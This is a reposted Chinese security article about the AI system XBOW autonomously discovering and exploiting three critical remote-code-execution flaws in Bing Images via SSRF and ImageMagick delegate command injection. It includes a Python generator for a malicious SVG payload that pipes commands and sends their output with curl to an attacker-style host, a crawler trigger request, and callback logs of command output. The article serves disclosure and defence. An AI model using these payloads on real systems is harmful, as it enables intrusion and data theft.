文章总结： 本文介绍AI黑客XBOW自主发现并利用BingImages三个高危RCE漏洞的过程，包括CVE-2026-32194、CVE-2026-32191和CVE-2026-21536，均获CVSS9.8分。漏洞源于图像处理管道中的命令注入，通过盲SSRF信号深入推理，最终在生产环境以SYSTEM权限执行命令。文章强调安全研究需坚持深度推理，不放过任何异常信号。 综合评分： 85 文章分类： 漏洞分析,红队,渗透测试,AI安全,WEB安全

---

AI如何自主发现并利用三个Bing Images高危RCE漏洞

Z2O安全攻防

2026年7月27日 22:02 北京

在小说阅读器读本章

去阅读

以下文章来源于骨哥说事 ，作者骨哥说事

骨哥说事 .

一个喜爱鼓捣的技术宅

| | | — | | 声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。 |

#

在顶尖安全研究者身上，我始终钦佩他们那种察觉众人疏忽之处的能力。有人称此为直觉。但我认为，这通常源于极致的坚持——一种不放过任何蛛丝马迹、刨根问底的行动准则。一名AI黑客，这两者皆需具备。

最好的漏洞，或者说我偏爱的那些，往往就隐藏在最显眼之处。它们悄无声息地待在那里，看似平平无奇，等待着某个（或某个“事物”）足够耐心，愿意多追问一句。这场调查正是如此开始的。

本文遵循我们向Microsoft的负责任披露流程：通过协调漏洞披露进行，私下报告漏洞，给予Microsoft修复时间，并有意识地暂缓公开利用细节，直至修复完成且受影响服务确认已部署。协调披露确保了在补丁发布过程中客户的安全。

此次披露了三个Microsoft CVE：

• CVE-2026-32194：Bing Images中的关键RCE漏洞，源于图像处理管道中的命令注入。
• CVE-2026-32191：第二个Bing Images关键RCE漏洞，位于相关的服务器端图像爬取路径中。
• CVE-2026-21536：Microsoft设备定价计划中的关键RCE，由可执行文件的无限制上传导致。

Microsoft将其均列为CVSS 9.8分的关键RCE漏洞。Bing Images的两个漏洞描述为：未经授权的远程攻击者无需权限或用户交互，即可通过网络注入命令。Microsoft致谢名单显示XBOW为所有三个CVE的发现者，使我们跻身其漏洞悬赏排行榜前十，也是榜单上第一个也是唯一的AI。

披露报告说明了我们发现了什么。本文要谈的是为什么这很重要。只有可用的漏洞利用才能真正衡量一个发现的实际风险，而这项调查是历经艰苦才获得确证的：它始于一个看似不起眼的盲SSRF，最终却证实了完整的远程代码执行。

故事从Bing的“以图搜图”功能开始。最初的信号平淡无奇：后端会从一个URL获取图像。这似乎本就是功能设计的一部分。很多人可能就此打住，将它视为一个低影响的盲SSRF，认为是预期行为而转向他处。

但XBOW没有停下。

区别在于坚持。一个可疑的500错误、几处不一致的响应、不同载荷被解析方式的细微差异，为持续的调查提供了动力。

这一看似正常的功能，最终被证实是一条攻击链的起点，从图像获取操作延伸至确证在Bing后端图像处理工作进程中发生了命令执行。调查全程遵循安全研究规范：为证明漏洞，XBOW仅运行无害、只读的证明命令，并将输出发送到我们控制的带外收集器。我们未曾执行破坏性命令、修改Microsoft系统或访问客户/用户数据。

Bing “以图搜图” 功能可以被诱使从后端获取攻击者控制的图像URL。孤立来看，这难以评估其风险：响应是盲态的，获取用户提交的图片本就是该功能的目的。真正的信号，是后端在解析获取内容时返回的可疑500错误。一个核心问题主导了后续所有工作：Bing在获取这些字节之后，对它们做了什么？

XBOW通过观察到来自Bing基础设施（使用bingbot/2.0 UA）向外部收集端点发起的带外HTTP请求，确认了这次服务器端请求。然而，由于其负载均衡架构，并非所有后端节点都表现一致：易受攻击的工作进程会向客户端返回错误，但仍会执行服务器端请求。这个错误成为了线索，调查随之深入，而非将其归档。

三项发现是三个独立但形态相似的漏洞。在每种场景下，攻击者控制的输入都跨越了信任边界——那些被应用程序视为“惰性管道”（如图像转换器或文件上传处理器）的组件内部，最终变成了被执行的代码。应用程序认为自己在处理图像或存储文件，而其底层的辅助程序却在执行一个外部程序。

这些都不是新的漏洞类别。它们是旧的故障模式（ImageTragick已有十年历史，无限制上传问题更早）在现代生产云系统中被自主重新发现，方法就是沿着每条线索，多追问一层，直到通常线索会中断的地方。

循迹追踪

在攻击性研究中，第一个有趣的信号很少是漏洞本身。通常是一个指针——某个略显异常之处，指示了真正的问题所在。HTTP对话只讲述了故事的一半，另一半则在XBOW的推理轨迹中，每一次观察都成为下一次实验的证据。

调查形成了节奏：观察 > 提出假设 > 设计能够证实或推翻它的实验 > 根据结果决定下一步做什么。 一个500错误是值得追踪的线索；一个重定向指示了后端实际处理的内容。每一次响应都在缩小搜索范围。这并非源自一枚幸运的“神奇子弹”载荷，而是对每一个结果进行深度推理，直到整个处理管道揭示其愿意“解释”什么。

最初的假设是XXE。不同内容类型导致不同行为：普通非图像内容早早失败，而SVG/XML内容则进入了更深层的解析路径并返回XML解析器特有的错误。但是，尝试外部DTD和XInclude并未触发任何用于XXE攻击的带外请求，这削弱了XXE假设并缩小了范围。排除一个假设也是进展，它让你知道下一步不必在哪里浪费精力。

于是问题聚焦为：到底是哪个解析器或辅助程序接收了获取到的内容？ 思维转变打开了不同的攻击面：服务器端SVG处理器中的XSLT或脚本处理、解析器暴露的协议处理器，以及最重要的，ImageMagick风格的编/解码器和委托程序。此时的500错误，指向了一个值得探究的下游解析器边界。

“盲打”状态有其价值：由于客户端一无所获，你无法靠运气猜测，只能严格推理。每一个信号都必须抓住。可用的信号包括客户端可见的状态码、重定向、托管日志和带外回调。它们之间“有用”的不一致是：XXE依赖的XML功能载荷没有引发二次请求，而一个普通的SVG图像引用却实实在在地触发了来自渲染器的外联请求。每个载荷都在向系统提问，有或无二次请求就是它的回答。

这区分了两个处理层级：XML解析器未解析外部实体，但SVG渲染层则会跟随图像引用。因此，探测目标转向渲染器本身。一个有效的被引用PNG会返回成功的搜图结果；一个指向带外收集器的引用则会触发请求，但因返回非图像内容而渲染失败。使用ImageMagick伪协议的探测则划出了更清晰的界限：label: 渲染了文本，xc: 生成了纯色图像，vid: 风格的输入产生了可识别的图像结果，而 text:、caption:、pango: 等直接文件读取尝试则失败了。每一次失败的探测排除了一种编/解码器；每一次成功的探测则定位到一个活跃的功能端口。

由此识别出，后端使用了 ImageMagick或其兼容堆栈，并勾勒出它的策略配置：部分编/解码器启用，部分禁用，label: 中的命令元字符被当作普通文本而非执行。识别出底层引擎比任何单一探测都重要，因为这意味着从一个开放式搜索变成了一个具体目标的锁定。调查进展顺利时通常就是这种感觉：可能性的空间在持续收窄。最终，问题聚焦为一点：哪一个受ImageMagick控制的路径，最终还能抵达一个依赖Shell的委托程序？

经过数十次实验，XBOW的推理轨迹成为了一份管道“行为-解释”地图。按顺序回看，它就是搜索空间逐步坍缩的过程。一份清理后的摘录如下：

[推理轨迹]XBOW调查过程的一个代表性片段。以下每一项都是支持性证据。

[imgref]        状态: 200 | 响应体: {"redirectUrl":"/search?q=Color%20Palette%20Red%20Background..."}
[uatest]        状态: 500 | 响应体:
[mslsvg]        状态: 500 | 响应体:
[pipe]          状态: 500 | 响应体:
[label]         状态: 200 | 响应体: {"redirectUrl":"/search?q=Test%20Image..."}
[text-etc-passwd] 状态: 500 | 响应体:
[caption-test]   状态: 500 | 响应体:
[label-pipe]     状态: 200 | 响应体: {"redirectUrl":"/search?q=How%20To%20Pronounce%20Lid..."}
[label-backtick] 状态: 200 | 响应体: {"redirectUrl":"/search?q=Id%20Logo..."}
[vid-test]       状态: 200 | 响应体: {"redirectUrl":"/search?q=120X120%20Test%20Image..."}
[xc-red]         状态: 200 | 响应体: {"redirectUrl":"/search?q=Abstract%20Curved%20Paper%20Design..."}

孤立地看，任何一行都不是决定性的。关键在于大量证据的相互佐证。回溯整个轨迹，此时论点已难以辩驳：没有一锤定音的单次测试，而是过多独立的结果指向了同一方向。XML层的技巧静默无声，渲染器层的引用被触发，伪协议改变了搜索结果。这促使调查始终聚焦于图像转换层，而不是将500错误简单归档为死胡同。

从SVG到命令执行

漏洞突破口就在于图像辅助程序层。获取的SVG被馈送至图像转换管道，而一个精心构造的SVG可以进入一个启用了委托程序的解码路径，并在服务器端解析和栅格化过程中触发命令执行。SSRF在此仅作为投递机制存在的，它将攻击者控制的SVG送入一个不安全的图像处理工作进程。真正的漏洞，就在那个工作进程里。

这个脆弱的边界也存在于直接图像上传路径中。表面上，“以图搜图”是正常的图像摄取流程：用户提交图像数据，Bing处理，返回视觉相关结果。而实际上，攻击者控制的SVG内容能够从图像处理流程，跳转执行命令。

这就是两个Bing CVE的成因，它们是进入同一个委托程序支持管道的两条路径。CVE-2026-32194是在图像处理管道中的命令注入，通过公开的“以图搜图”上传功能触发。CVE-2026-32191是服务器端爬取路径，即上文描述的SSRF变种。两者都无需任何认证、Cookie、会话状态或特权账户。可利用性源自暴露的图像处理工作流，它们接收攻击者输入的“图像”内容，并将其传递给后端转换层，而后端转换层将该内容的一部分解析为可执行行为。

铁证：生产环境Bing上的SYSTEM权限

返回的证据彻底解答了影响程度的问题。命令在Bing生产环境图像处理工作进程上，以 NT AUTHORITY\SYSTEM 权限执行（运行Windows Server 2022 Datacenter），输出显示了完整的SYSTEM特权及管理员组成员身份。受影响的不是单个工作进程：相同的行为在不同主机、不同网络范围的多个后端工作进程上重现，表明漏洞暴露存在于Bing的图像处理层，而非单个配置错误的主机。

此证明来自带外回调，而非可见的HTTP响应。这很关键：前端请求可能返回一个错误，而后端工作进程仍然会接收图像，进入易受攻击的委托程序路径，执行命令，并从处理环境内部通过外联HTTP请求发送输出。

首个证明使用Linux风格的 id 命令，带外收集器收到了 uid=0(user) gid=0(group)，确认了root级别的执行。

[带外回调确认执行（Linux环境）]

POST /output
User-Agent: curl
Body: uid=0(user) gid=0(group)

但后端环境是异构的。处理相同图像任务的部分工作进程是Windows Server。自动化RCE验证脚本最初仅将Linux输出模式视为成功，差点将真实攻击记录为失败。验证程序只识别它被告知期望的成功。在人工审阅了实际返回的回调后，调查才使验证逻辑也兼容了Windows证明命令，如 systeminfo、ipconfig /all、whoami /all 等。因此，最初未被识别但确实存在的Windows回调暴露了验证程序的第一个盲点：

[来自Windows工作进程的回调 – 生产环境输出摘录]

POST /output
User-Agent: curl
Body (systeminfo摘录):
OS Name: Microsoft Windows Server 2022 Datacenter

POST /output
User-Agent: curl/[已编辑]
Body (whoami /all摘录):
PRIVILEGES INFORMATION
SeImpersonatePrivilege ... Enabled
SeDebugPrivilege ... Enabled

因此，证据并非孤证。命令输出同时来自Linux和Windows工作进程。在Windows环境下，目录列表输出清晰地定位到Bing的多媒体图像处理组件内部。SSRF变体攻击链也完整复现：外部托管的SVG，由Bing后端爬虫（bingbot/2.0）获取，curl回调返回命令输出。

所有这些本可能被轻易忽视。服务器端获取是预期功能，一个无回显的盲SSRF常被定性为低影响。有多少类似的发现，因为真正的漏洞隐藏在更深一道解析边界之后，在通常调查止步之处，最终被归类为“信息性”或“不予修复”？那个错误信号至关重要，却也极易被忽略。

事后看来，从那个500错误到获取SYSTEM权限的Shell的路径似乎顺理成章。但调查进行时并非如此。每一步都只有当前假设、上一轮结果和“下一步测什么”的茫然。没有任何指引，唯一的向导是眼前的证据。那个开启一切的500错误，同样可能仅仅被记录后就永远遗忘了。

漏洞载荷剖析

至此，载荷本身甚至显得有些“反高潮”。构造一个SVG是简单的部分。困难的是之前所有的论证工作：证明哪个后端边界会将攻击者控制的图像内容解析为可执行行为。在它之前的每一个载荷都是为了回答一个关于系统的问题，而它，是为了证明结论。

对于直接上传路径，提交的图像数据是一个base64编码的SVG，包含三部分：

1. 一个图像摄取流程会接受的SVG包装器。
2. 一个嵌入的 href / xlink:href 图像引用，该引用指向了启用委托程序的转换路径。
3. 一个以管道符 | 开头的证明命令，将其输出通过curl发送到XBOW控制的带外收集器。

#!/usr/bin/env python3import base64import syscommand = sys.argv[1]oob =&nbsp;"[OOB-COLLECTOR].evil.tld"svg = '<?xml version="1.0"&nbsp;encoding="UTF-8"?>\n'svg += '<svg xmlns="http://www.w3.org/2000/svg"&nbsp;'svg += 'xmlns:xlink="http://www.w3.org/1999/xlink"&nbsp;'svg += 'width="100"&nbsp;height="100">\n'svg += ' &nbsp;<image xlink:href="|' + commandsvg += ' | curl -d @- http://' + oob + '/output" 'svg += 'width="100"&nbsp;height="100"/>\n'svg += '</svg>'svg_b64 = base64.b64encode(svg.encode()).decode()

对于爬虫变种，同一类SVG内容被外部托管，由Bing的后端爬虫获取，然后被图像转换层处理。请求形状是一个服务器端获取触发器加上一个指向攻击者控制的图像内容的引用：

服务器端获取触发器（爬虫变种）载荷主机已编辑。

curl -s -D - \  "https://www.bing.com/images/search?imgurl=https://[PAYLOAD-HOST]/exploit.svg&view=detailv2&iss=sbi"

相应的托管和带外日志显示了攻击链的两个部分：

验证期间观察到的服务器端获取托管日志和回调，代表性示例。

GET /exploit.svgUser-Agent: Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)POST /outputUser-Agent: curl/[已编辑]Body: uid=0(user) gid=0(group)

在这两种情况下，关键行为是相同的：攻击者控制的SVG内容到达了一个后端委托程序路径，该路径将图像引用的一部分内容当作可执行行为来处理。

我们在此特意省略了我们的回调基础设施、后端工具版本字符串以及完整的实靶重现上下文。这其中的教训是架构性的：高风险的解析和转换组件需要严格的输入验证、默认禁用危险的委托程序功能，以及假设文件格式是活跃的攻击面而非惰性介质的隔离边界。

为什么图像处理管道如此危险

这一切之所以可行，根源在于像SVG这样的格式不仅仅是像素数据。SVG是XML：它可以描述形状、嵌入外部图像引用、并能启用图像处理套件为兼容性而支持的转换功能。类ImageMagick风格的图像处理管道，通过编/解码器、伪协议和委托程序来解析和转换这些复杂格式。当输入可信时，这些功能很有用；但当它们能从公共上传或爬虫路径访问时，就变得极其危险。一个对应用程序只是“图像引用”的值，对转换器而言就变成了一条执行指令。一旦转换器可以调用由Shell执行的委托程序，信任边界便已不复存在。

这种攻击向量历史悠久。ImageTragick (CVE-2016-3714) 记载了恶意图像内容利用ImageMagick的编/解码器和委托程序，通过Shell元字符执行命令。近期针对ImageMagick和Ghostscript的SVG-to-RCE研究也揭示了相同风险：当策略配置过于宽松时，MVG、协议处理器和委托解释器等都可能成为攻击入口。Bing的发现利用了更直接的路径实现命令执行，但教训依旧: 不受信任的图像转换是极易产生命令注入的代码，而非普通的媒体处理。

此问题也不限于ImageMagick。GitLab在HackerOne上披露的ExifTool漏洞报告便是例证：为剥离元数据而上传的文件，其类型识别依据是内容而非扩展名，意外访问了一个GitLab从未打算暴露的解析器，最终导致了RCE——这是在不同辅助工具中发生的同一类问题。

应用程序将图像辅助程序视为“管道”。攻击者则将其视为“解析器”。调用转换器、剥离元数据、调整大小、栅格化、生成缩略图……这一系列操作“理所应当”，却极易让人遗忘这些辅助工具背后承载着数十年的格式兼容性、协议支持、Shell调用行为和内容嗅探机制。应用程序以为它在接受“一张图片”，但辅助程序看到的可能是SVG、MVG、EPS、DjVu、EXIF、嵌入式URL、委托协议，或是由解释器支持的格式。除非这一边界被有意识地严格限定，否则辅助程序将悄无声息地变成攻击者控制的执行环境。

技术要点与启示

Bing Images的漏洞指向一个核心防御议题：危险的执行边界，往往隐藏在看似无害的应用程序功能之后。

1. 对于涉及图像处理的流程，边界在于辅助工具的调用。

• 禁用调用Shell的委托程序，特别是基于管道（|）的行为。

• 强制执行限制性的 policy.xml 和 delegates.xml 配置文件。

• 除非业务必需且在严格隔离的环境中处理，否则直接拒绝高风险格式，如SVG、MVG、EPS。

• 严格限制支持的格式范围，在低权限沙箱中运行转换，并阻止工作进程的对外网络访问。

• 改变假设：将图像解析器、转换器、元数据剥离器、栅格器、爬虫都视为攻击面的组成部分。必须关注格式嗅探、嵌入式引用、委托协议、Shell调用和解释器支持的格式。

• 强化配置：参照ImageMagick安全指南，针对处理不受信任上传或服务器获取图像的环境，应：

1. 对于服务端获取（SSRF）流程，边界在于出口控制与沙箱隔离。

• 任何允许用户指定URL的功能，都必须配备严格的目的地允许列表、方案验证、重定向控制、DNS重绑定和内部地址防护机制。
• 在本案例中，服务器端SSRF之所以成为突破口，正是因为它成功地将攻击者掌控的字节数据，送达了那个危险的后台图像处理工具。

1. 关于漏洞验证框架的启示。

• 验证工具起初仅识别Linux输出模式，险些遗漏了Windows环境下的真实攻击。这教训我们：一个假设环境单一、输出模式固定的验证框架，可能在异构基础设施中无法识别真正的利用。

这两个Bing CVE并不依赖于某个新型漏洞类别。图像辅助程序中的命令注入是老生常谈的问题。其新颖之处在于，在一个庞大的现代云服务中以自主方式将其重新发现所需的执着——在每一个中间步骤（服务器端请求、解析器报错、渲染器行为差异）看起来都稀松平常，都仿佛不值得驻足细究的情况下，调查仍不断追问每个新证据的含义，直到最后确证获得一个SYSTEM权限的Shell。

这引出了一个更深层的问题：一个自主系统，在没有人工指导每一步的情况下，究竟是如何穿越几十个死胡同，最终开辟出这条突破路径的？这正是我们在下一篇即将发布的文章——《自主性工程》中所要探讨的核心课题。

• END –

建了个src专项圈子，内容包含src漏洞知识库、src挖掘技巧、src视频教程等，一起学习赚赏金技巧，以及专属微信群一起挖洞

圈子专注于更新src相关：

1、维护更新src专项漏洞知识库，包含原理、挖掘技巧、实战案例2、分享src优质视频课程3、分享src挖掘技巧tips4、小群一起挖洞

图片

图片

图片

---

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：Z2O安全攻防 《AI如何自主发现并利用三个Bing Images高危RCE漏洞》